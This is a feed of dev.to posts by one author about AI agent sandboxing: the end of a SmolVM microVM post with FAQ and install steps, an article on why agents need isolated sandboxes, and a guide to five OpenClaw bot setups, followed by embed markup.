&lt;p&gt;If you want a hosted sandbox and don't mind a per-request cost, E2B is a great product. If you want to run sandboxes &lt;strong&gt;on your own infrastructure&lt;/strong&gt; (for cost, privacy, VPC requirements, or regulated-industry compliance), SmolVM is the option that gets you there without wiring up firecracker-containerd by hand.&lt;/p&gt;




&lt;h2&gt;
  
  
  Performance
&lt;/h2&gt;

&lt;p&gt;The whole reason microVMs are viable for agent workloads is boot speed. On an AMD Ryzen 7 7800X3D (8C/16T) running Ubuntu with the Firecracker backend, we measure p50 VM lifecycle timings in the sub-second range — fast enough to create a fresh sandbox per agent turn if you want to.&lt;/p&gt;

&lt;p&gt;In practice, most teams reuse VMs across a single conversation and recycle them between sessions. With snapshots, you can pre-warm a VM with a specific set of dependencies and restore from that snapshot in milliseconds — effectively free sandbox creation.&lt;/p&gt;




&lt;h2&gt;
  
  
  Who this is for
&lt;/h2&gt;

&lt;p&gt;SmolVM is useful if you're building:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Coding agents&lt;/strong&gt; (Cursor/Devin/Claude Code-style products) that need to execute code&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;App builders and design-to-code tools&lt;/strong&gt; that compile and run generated projects&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Workflow automation platforms&lt;/strong&gt; (n8n, Zapier-style) where users write code nodes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Research and data-analysis agents&lt;/strong&gt; that run untrusted Python&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Browser-using agents&lt;/strong&gt; that need a clean, disposable browser session&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Any LLM product&lt;/strong&gt; where the model's output might be executed on a machine you care about&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the model's output ever touches a shell, a Python interpreter, or a browser, you want a sandbox between it and your host.&lt;/p&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Why not just use Docker for AI agent sandboxes?
&lt;/h3&gt;

&lt;p&gt;Docker containers share the host kernel. A kernel exploit or container-escape CVE becomes a full host compromise. For AI-generated code — which is effectively untrusted input — you want a hypervisor boundary between the code and your host. MicroVMs give you that, and modern microVMs boot fast enough to use per-request.&lt;/p&gt;

&lt;h3&gt;
  
  
  How is SmolVM different from E2B?
&lt;/h3&gt;

&lt;p&gt;E2B is a hosted sandbox service — you pay per sandbox and it runs on their infrastructure. SmolVM is open source and runs on your own machine or your own cloud, which matters if you care about data privacy, egress cost, VPC deployment, or regulated-industry compliance (fintech, health tech, legal tech). Both use Firecracker under the hood on Linux.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does SmolVM work on macOS?
&lt;/h3&gt;

&lt;p&gt;Yes. On Linux, SmolVM uses Firecracker with KVM. On macOS, it uses QEMU with the Hypervisor framework. The Python API is identical across both backends, so your code is portable.&lt;/p&gt;

&lt;h3&gt;
  
  
  What about Windows?
&lt;/h3&gt;

&lt;p&gt;Windows isn't supported yet. WSL2 works, but native Windows support is on the roadmap.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is SmolVM production-ready?
&lt;/h3&gt;

&lt;p&gt;SmolVM is in active development (currently v0.0.3). It's being used in production by early design partners. For mission-critical workloads, we recommend pinning to a specific version and running a staging deploy first. See the &lt;a href="https://docs.celesto.ai" rel="noopener noreferrer"&gt;installation docs&lt;/a&gt; for golden-AMI patterns and Firecracker version pinning.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I run GPU workloads inside SmolVM?
&lt;/h3&gt;

&lt;p&gt;Not in the current release. GPU passthrough for Firecracker is experimental upstream, and SmolVM doesn't expose it yet. For CPU-bound code (which is most agent code — data manipulation, API calls, shell commands, browser automation), SmolVM is a great fit. For GPU inference, keep that on the host.&lt;/p&gt;

&lt;h3&gt;
  
  
  What's the overhead per sandbox?
&lt;/h3&gt;

&lt;p&gt;A default SmolVM uses ~128MB of RAM and a few hundred MB of disk. You can run dozens of microVMs on a single host without breaking a sweat, which is the whole point of "micro" in microVM.&lt;/p&gt;

&lt;h3&gt;
  
  
  How does this fit with frameworks like LangChain or Agentor?
&lt;/h3&gt;

&lt;p&gt;SmolVM is a runtime, not a framework. Wrap &lt;code&gt;SmolVM().run(...)&lt;/code&gt; as a tool in whatever agent framework you're using. We designed it to be framework-agnostic so it plugs into existing agent stacks.&lt;/p&gt;




&lt;h2&gt;
  
  
  Getting started
&lt;/h2&gt;

&lt;p&gt;The fastest path:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Install:&lt;/strong&gt; &lt;code&gt;pip install smolvm&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run host setup:&lt;/strong&gt; &lt;code&gt;./scripts/system-setup.sh&lt;/code&gt; (Linux) or &lt;code&gt;./scripts/system-setup-macos.sh&lt;/code&gt; (macOS)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Try the quickstart&lt;/strong&gt; above&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Star the repo&lt;/strong&gt; on &lt;a href="https://github.com/CelestoAI/SmolVM" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; so you can find it later (and so we know it's useful — it helps us prioritize)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read the docs&lt;/strong&gt; at &lt;a href="https://docs.celesto.ai" rel="noopener noreferrer"&gt;docs.celesto.ai&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;SmolVM is Apache 2.0 licensed and free to use in commercial projects. It's built and maintained by &lt;a href="https://celesto.ai" rel="noopener noreferrer"&gt;Celesto AI&lt;/a&gt;, where we're working on production infrastructure for AI agents.&lt;/p&gt;

&lt;p&gt;If you're building something interesting on top of it — or you hit something that doesn't work — open an issue or reach out. We read everything.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Building with AI agents? We'd love to hear what you're working on. Drop a comment below or find us on &lt;a href="https://github.com/CelestoAI/SmolVM" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>opensource</category>
      <category>showdev</category>
      <category>python</category>
    </item>
    <item>
      <title>Why AI Agents Need Sandboxes — And What to Look For</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Sun, 12 Apr 2026 13:16:40 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/why-ai-agents-need-sandboxes-and-what-to-look-for-e37</link>
      <guid>https://dev.to/aniketmaurya/why-ai-agents-need-sandboxes-and-what-to-look-for-e37</guid>
      <description>&lt;p&gt;AI agents have evolved from simple chatbots into autonomous systems that can execute code, navigate browsers, install packages, and interact with live services. With that power comes a serious question: where should these agents actually run?&lt;/p&gt;

&lt;p&gt;The answer is a &lt;strong&gt;sandbox&lt;/strong&gt; — a temporary, isolated computing environment built specifically for the agent. Think of it as giving the agent its own disposable computer rather than handing it the keys to yours.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Risk of Running Agents on Your Machine
&lt;/h2&gt;

&lt;p&gt;When an AI agent executes a shell command or installs a dependency, those are real operations with real consequences. Running them directly on your workstation opens the door to a range of problems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Prompt injection attacks&lt;/strong&gt; could trick the agent into executing malicious commands that affect your actual system.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credential leakage&lt;/strong&gt; becomes dangerous when your real API keys and tokens are accessible in the environment.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Accidental data loss&lt;/strong&gt; can happen if the agent overwrites or deletes files on your machine.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Supply chain compromises&lt;/strong&gt; from installing a tampered package could propagate to your host.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Production incidents&lt;/strong&gt; can occur if the agent inadvertently connects to and modifies a live system.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A sandbox eliminates these risks by containing all agent activity within a boundary. If something goes wrong, you simply discard the sandbox and spin up a new one.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Makes a True Agent Sandbox?
&lt;/h2&gt;

&lt;p&gt;Not every virtual machine or container qualifies as an agent sandbox. There are specific capabilities that differentiate a purpose-built agent sandbox from general-purpose compute:&lt;/p&gt;

&lt;h3&gt;
  
  
  Fast Startup
&lt;/h3&gt;

&lt;p&gt;Agent sandboxes need to launch in milliseconds, not seconds. If it takes 30 seconds to boot an environment, developers will bypass it entirely and run things locally. The target should be roughly 200–300ms spin-up times so that creating a fresh environment per task feels seamless.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pause and Resume
&lt;/h3&gt;

&lt;p&gt;Agents spend a lot of time waiting — for user input, for API responses, or between steps in a workflow. A good sandbox can be paused during idle periods and resumed instantly, saving compute costs while preserving full state.&lt;/p&gt;

&lt;h3&gt;
  
  
  Snapshot and Restore
&lt;/h3&gt;

&lt;p&gt;This is essentially a save-point system. A snapshot captures the entire state of the sandbox at a given moment (filesystem, processes, connections, everything). If the agent takes a wrong turn, you roll back to the snapshot instead of starting over from scratch. This is invaluable for iterative agent workflows.&lt;/p&gt;

&lt;h2&gt;
  
  
  Nice-to-Have Capabilities
&lt;/h2&gt;

&lt;p&gt;Beyond the essentials, there are a few features that make sandboxes significantly more practical:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Internet access controls&lt;/strong&gt; — the ability to allow, block, or whitelist network traffic on a per-sandbox basis.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pre-built environments&lt;/strong&gt; — base images with common toolchains (Python, Node.js, browsers) pre-installed to skip repetitive setup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Live view&lt;/strong&gt; — real-time visibility into what the agent is doing inside the sandbox (terminal, browser, screen), which helps with debugging and building trust.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  A Sandbox Built for AI Agents: Celesto AI
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Disclosure: I'm the founder of &lt;a href="https://celesto.ai" rel="noopener noreferrer"&gt;Celesto AI&lt;/a&gt;, so take this with the appropriate grain of salt — but I built it precisely because I ran into these problems firsthand.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://celesto.ai" rel="noopener noreferrer"&gt;Celesto AI&lt;/a&gt; is a sandbox platform designed specifically for AI agents. It provides isolated cloud environments that spin up in milliseconds, with built-in support for pause/resume, snapshots, and fine-grained internet access controls. Whether you need an ephemeral sandbox for a one-off code execution task or a persistent environment for a multi-step agent workflow, Celesto handles both patterns out of the box.&lt;/p&gt;

&lt;p&gt;The goal is to make the safe path the default path — so developers and agent frameworks don't have to choose between security and speed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ephemeral vs. Persistent Sandboxes
&lt;/h2&gt;

&lt;p&gt;There are two main patterns for sandbox lifecycle management. &lt;strong&gt;Ephemeral sandboxes&lt;/strong&gt; are created for a single task and destroyed immediately after. They offer the strongest security guarantees since nothing persists between runs. &lt;strong&gt;Persistent sandboxes&lt;/strong&gt; stay alive across multiple steps, which is useful for multi-stage tasks where the agent needs to build on previous work.&lt;/p&gt;

&lt;p&gt;Most mature sandbox platforms support both patterns, letting you choose the right one for each use case.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;p&gt;As AI agents become more capable, the environments they operate in matter more than ever. Sandboxes provide a straightforward way to let agents do meaningful work without risking your real infrastructure. The principle is simple: give the agent its own computer, not yours.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This post was inspired by &lt;a href="https://celesto.ai/blog/posts/ai-agent-security/what-are-ai-agent-sandboxes/" rel="noopener noreferrer"&gt;What are AI Agent Sandboxes&lt;/a&gt; on the Celesto AI blog.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>programming</category>
      <category>agents</category>
    </item>
    <item>
      <title>[Boost]</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Wed, 04 Feb 2026 12:13:24 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/-5fca</link>
      <guid>https://dev.to/aniketmaurya/-5fca</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn" class="crayons-story__hidden-navigation-link"&gt;5 Ways to Set Up OpenClaw (aka ClawdBot / MoltBot) — and Actually Use It Day-to-Day&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/aniketmaurya" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F274492%2F32b0da35-e0ea-43d3-945f-e44ee4dd94de.jpg" alt="aniketmaurya profile" class="crayons-avatar__image" width="400" height="400"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/aniketmaurya" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Aniket Maurya
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Aniket Maurya
                
              
              &lt;div id="story-author-preview-content-3231475" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/aniketmaurya" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F274492%2F32b0da35-e0ea-43d3-945f-e44ee4dd94de.jpg" class="crayons-avatar__image" alt="" width="400" height="400"&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Aniket Maurya&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;Feb 4&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn" id="article-link-3231475"&gt;
          5 Ways to Set Up OpenClaw (aka ClawdBot / MoltBot) — and Actually Use It Day-to-Day
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/ai"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;ai&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/openclaw"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;openclaw&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/tutorial"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;tutorial&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/productivity"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;productivity&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
          &lt;a href="https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left"&gt;
            &lt;div class="multiple_reactions_aggregate"&gt;
              &lt;span class="multiple_reactions_icons_container"&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/fire-f60e7a582391810302117f987b22a8ef04a2fe0df7e3258a5f49332df1cec71e.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/raised-hands-74b2099fd66a39f2d7eed9305ee0f4553df0eb7b4f11b01b6b1b499973048fe5.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/sparkle-heart-5f9bee3767e18deb1bb725290cb151c25234768a0e9a2bd39370c382d02920cf.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
              &lt;/span&gt;
              &lt;span class="aggregate_reactions_counter"&gt;5&lt;span class="hidden s:inline"&gt; reactions&lt;/span&gt;&lt;/span&gt;
            &lt;/div&gt;
          &lt;/a&gt;
            &lt;a href="https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              Comments


              2&lt;span class="hidden s:inline"&gt; comments&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            3 min read
          &lt;/small&gt;
            
              &lt;span class="bm-initial"&gt;
                

              &lt;/span&gt;
              &lt;span class="bm-success"&gt;
                

              &lt;/span&gt;
            
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
      <category>ai</category>
      <category>openclaw</category>
      <category>tutorial</category>
      <category>productivity</category>
    </item>
    <item>
      <title>5 Ways to Set Up OpenClaw (aka ClawdBot / MoltBot) — and Actually Use It Day-to-Day</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Wed, 04 Feb 2026 12:10:58 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn</link>
      <guid>https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn</guid>
      <description>&lt;p&gt;Most “setup guides” jump straight into commands. That’s backwards.&lt;/p&gt;

&lt;p&gt;This blog will help you get connected to an OpenClaw bot with minimal setup, you can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;respond from phone,&lt;/li&gt;
&lt;li&gt;run tasks (code, reminders, web research),&lt;/li&gt;
&lt;li&gt;stay secure,&lt;/li&gt;
&lt;li&gt;without spending a whole weekend to set it up.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So first: the &lt;strong&gt;real problem&lt;/strong&gt; is choosing the &lt;em&gt;right&lt;/em&gt; setup for how you’ll use it.&lt;/p&gt;

&lt;p&gt;Below are &lt;strong&gt;five practical setups&lt;/strong&gt; (from easiest to most powerful), each framed around the pain it solves.&lt;/p&gt;




&lt;h2&gt;
  
  
  1) The “Phone-First” Setup: Telegram DM Bot (fastest time-to-value)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The problem it solves
&lt;/h3&gt;

&lt;p&gt;You want to talk to your agent from anywhere—especially your phone—without opening a laptop, VPN, or SSH app. You also want a clean “inbox-like” experience: quick prompts, quick replies.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why this setup works
&lt;/h3&gt;

&lt;p&gt;Telegram is lightweight, reliable, and behaves like a “command line for humans.” It’s ideal for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;quick questions (“summarize this”, “draft a message”)&lt;/li&gt;
&lt;li&gt;reminders (“remind me at 11am”)&lt;/li&gt;
&lt;li&gt;lightweight ops (“check RAM”, “list files”, “run a script”)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What it looks like
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;You create a Telegram bot (BotFather)&lt;/li&gt;
&lt;li&gt;OpenClaw connects to it&lt;/li&gt;
&lt;li&gt;You DM your assistant like a person&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; personal assistants, founders, solo builders, “run my life from my phone” workflows.&lt;/p&gt;

&lt;p&gt;Celesto AI provides a no-setup, no-server solution for &lt;em&gt;humans&lt;/em&gt;! Get OpenClaw on your Telegram for free &lt;a href="https://celesto.ai/openclaw" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  2) The “I Want It Everywhere” Setup: Multi-Channel Bot (Telegram + Discord/Slack)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The problem it solves
&lt;/h3&gt;

&lt;p&gt;Your work happens in communities and team spaces—not just DMs. You want the agent where decisions happen:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Discord communities&lt;/li&gt;
&lt;li&gt;Slack team channels&lt;/li&gt;
&lt;li&gt;group chats where people collaborate&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Why this setup works
&lt;/h3&gt;

&lt;p&gt;A multi-channel setup turns OpenClaw into an “ambient operator”:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;answers when mentioned&lt;/li&gt;
&lt;li&gt;summarizes threads&lt;/li&gt;
&lt;li&gt;drafts responses&lt;/li&gt;
&lt;li&gt;keeps notes&lt;/li&gt;
&lt;li&gt;can be restricted by allowlists / mention-only behavior&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What it looks like
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;One OpenClaw instance&lt;/li&gt;
&lt;li&gt;Multiple channel plugins enabled&lt;/li&gt;
&lt;li&gt;Rules like “only respond on @mention” to avoid being spammy&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; startup teams, communities, internal “ops bot” usage.&lt;/p&gt;




&lt;h2&gt;
  
  
  3) The “Automation Brain” Setup: Scheduled Reminders + Cron Jobs
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The problem it solves
&lt;/h3&gt;

&lt;p&gt;You don’t need a chatbot. You need a system that remembers.&lt;br&gt;
Following up, applying, sending that DM, doing the weekly check-in—humans drop these constantly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why this setup works
&lt;/h3&gt;

&lt;p&gt;OpenClaw can schedule exact-time tasks (one-shot or recurring) that fire without you remembering:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“Tomorrow after noon, remind me to apply”&lt;/li&gt;
&lt;li&gt;“Tuesday 10am: send a DM”&lt;/li&gt;
&lt;li&gt;“Every weekday at 9:30: give me today’s priorities”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is where assistants become &lt;strong&gt;infrastructure&lt;/strong&gt;, not conversation.&lt;/p&gt;

&lt;h3&gt;
  
  
  What it looks like
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;You tell OpenClaw what/when&lt;/li&gt;
&lt;li&gt;It schedules a job (cron)&lt;/li&gt;
&lt;li&gt;It pings you at the right moment with context and links&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; founders, ADHD-friendly workflows, anyone juggling deals + meetings.&lt;/p&gt;




&lt;h2&gt;
  
  
  4) The “Coding Agent” Setup: Workspace + Exec (turn it into a real dev assistant)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The problem it solves
&lt;/h3&gt;

&lt;p&gt;You want more than advice—you want actual output:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;code changes&lt;/li&gt;
&lt;li&gt;scripts run&lt;/li&gt;
&lt;li&gt;files edited&lt;/li&gt;
&lt;li&gt;repos managed&lt;/li&gt;
&lt;li&gt;quick prototypes built&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Why this setup works
&lt;/h3&gt;

&lt;p&gt;When OpenClaw has:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a workspace directory&lt;/li&gt;
&lt;li&gt;permission to run commands safely
…it becomes a practical coding agent that can &lt;em&gt;do the work&lt;/em&gt;, not just talk about it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What it looks like
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;You point OpenClaw at a workspace (repo or project folder)&lt;/li&gt;
&lt;li&gt;It can edit files and run tests/build commands&lt;/li&gt;
&lt;li&gt;You review results (diffs, logs, artifacts)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; building product fast, automating repetitive dev tasks, “ship while on your phone.”&lt;/p&gt;




&lt;h2&gt;
  
  
  5) The “Security-First” Setup: Hard Sandbox (gVisor / MicroVMs / strict mounts)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The problem it solves
&lt;/h3&gt;

&lt;p&gt;If you’re running agents that can execute commands, your threat model changes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“What if the agent (or a dependency) is compromised?”&lt;/li&gt;
&lt;li&gt;“What if a prompt injection tries to exfiltrate secrets?”&lt;/li&gt;
&lt;li&gt;“What if a container escape happens?”&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Why this setup works
&lt;/h3&gt;

&lt;p&gt;Containers are convenient, but they share the host kernel. If you want serious isolation, you tighten the boundaries:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Common patterns:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;gVisor&lt;/strong&gt;: syscall interception; stronger isolation than vanilla containers with less overhead than full VMs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MicroVMs (e.g., Firecracker)&lt;/strong&gt;: VM boundary; stronger isolation for “run untrusted stuff” workloads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read-only containers + minimal mounts&lt;/strong&gt;: only mount what’s needed, no host root access, no ambient credentials.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Split duties&lt;/strong&gt;: keep “internet browsing” separate from “has secrets” workloads.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What it looks like
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Run OpenClaw with strict filesystem access (only specific mounted directories)&lt;/li&gt;
&lt;li&gt;Use hardened runtime (gVisor / MicroVM) if you’re serious about untrusted execution&lt;/li&gt;
&lt;li&gt;Keep keys out of chat logs; use env vars/secrets management&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; security-conscious builders, anyone running agents on a machine with real credentials.&lt;/p&gt;




&lt;h1&gt;
  
  
  Which One Should You Pick?
&lt;/h1&gt;

&lt;p&gt;If you want a simple rule:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fastest useful&lt;/strong&gt;: Telegram DM bot (&lt;a href="https://celesto.ai/openclaw" rel="noopener noreferrer"&gt;Setup #1&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Team usage&lt;/strong&gt;: Multi-channel (Setup #2)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Life admin superpower&lt;/strong&gt;: Cron reminders (Setup #3)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Build products&lt;/strong&gt;: Workspace + exec (Setup #4)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;High-trust environment / real secrets&lt;/strong&gt;: Security-first sandboxing (Setup #5)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can also combine them: most serious setups do.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>openclaw</category>
      <category>tutorial</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Answer: Resizing image and its bounding box</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Sun, 04 Jul 2021 04:57:45 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/answer-resizing-image-and-its-bounding-box-5c5d</link>
      <guid>https://dev.to/aniketmaurya/answer-resizing-image-and-its-bounding-box-5c5d</guid>
      <description>&lt;div class="ltag__stackexchange--container"&gt;
  &lt;div class="ltag__stackexchange--title-container"&gt;
    
      &lt;div class="ltag__stackexchange--title"&gt;
        &lt;div class="ltag__stackexchange--header"&gt;
          &lt;img src="https://assets.dev.to/assets/stackoverflow-logo-b42691ae545e4810b105ee957979a853a696085e67e43ee14c5699cf3e890fb4.svg" alt=""&gt;
          &lt;a href="https://stackoverflow.com/questions/49466033/resizing-image-and-its-bounding-box/68241813#68241813" rel="noopener noreferrer"&gt;
